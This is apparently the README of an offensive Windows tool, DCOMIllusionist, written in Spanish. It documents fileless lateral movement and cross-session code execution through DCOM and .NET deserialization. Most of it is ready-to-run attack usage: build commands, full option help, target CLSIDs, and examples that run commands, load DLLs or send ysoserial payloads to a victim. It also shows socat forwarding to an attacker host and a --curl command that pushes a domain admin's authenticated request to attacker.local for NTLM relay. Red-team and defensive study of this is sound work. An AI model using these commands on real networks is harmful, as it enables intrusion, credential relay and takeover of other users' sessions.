
Técnicas de movimiento lateral en memoria y sin archivos mediante DCOM a través de la deserialización de .Net
Técnica de movimiento lateral sin archivos para Windows.
Introducción • Compilación • Uso • Detalles técnicos • Agradecimientos
Esta herramienta permite la ejecución remota de código en una máquina Windows, si se dispone de privilegios administrativos. Aprovecha DCOM y el comportamiento de los servidores DCOM de .NET, que deserializan automáticamente los objetos entrantes. Esto hace posible ejecutar comandos arbitrarios o cargar DLL sin escribir en el disco.
Descubierto originalmente por James Forshaw como una técnica de escalada de privilegios, este método se adaptó para el movimiento lateral modificando de forma remota claves específicas del Registro. Además, admite la explotación entre sesiones a través de DCOM, lo que permite ejecutar comandos arbitrarios dentro de la sesión de otro usuario bajo el contexto de seguridad de dicha sesión.
Funciona en estaciones de trabajo y servidores, pero se requiere acceso de red entre la máquina objetivo y una máquina controlada por el atacante para que esta técnica funcione.
Más detalles en esta sección.
Hay una versión publicada disponible, o se puede compilar manualmente:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
Se requiere acceso administrativo tanto en el host atacante (mediante un shell elevado) como en la máquina objetivo para usar esta herramienta correctamente.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionComo se explicó anteriormente, se puede especificar una sesión para ejecutar comandos arbitrarios en la sesión de otro usuario.
[!WARNING] Esto solo funciona con AppIDs configurados para ejecutarse con la identidad del usuario interactivo. Esto se gestiona automáticamente, no es necesario especificar el argumento
--appid, ya que la herramienta usará por defecto el AppID asociado con User Account Control Settings.
[!IMPORTANT] Solo funciona si la máquina atacante está unida a un dominio; más detalles aquí.
--list-sessionsEnumera las sesiones interactivas y activas remotas en el objetivo mediante WTSEnumerateSessions.
--listenSi la máquina objetivo no puede alcanzar directamente el host del atacante, el exploit fallará. Sin embargo, es posible especificar una máquina intermedia a la que el objetivo pueda conectarse. Utilizando herramientas como socat, el tráfico se puede reenviar desde este intermediario hasta el host del atacante.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidAl ejecutar el exploit desde un shell runas /netonly, la identidad asociada no se puede recuperar automáticamente. Por lo tanto, es necesario proporcionarla explícitamente mediante la opción --attacker-sid para que el ataque tenga éxito.
--exec--exec se puede usar junto con --exec-args para ejecutar binarios arbitrarios en el objetivo:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execes solo un envoltorio para eso; se puede lograr lo mismo con:--ps-exec calc
--curlCurl puede ser útil en escenarios de explotación entre sesiones. Si se dispone de privilegios administrativos en una máquina y, por ejemplo, un administrador de dominio está activo en la sesión 3, es posible iniciar una solicitud HTTP autenticada, puramente a través de .NET, en nombre de ese usuario. Al dirigir esta solicitud a una máquina controlada por el atacante que ejecute ntlmrelayx.py, se pueden realizar ataques tradicionales de relay NTLM para comprometer al usuario.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dll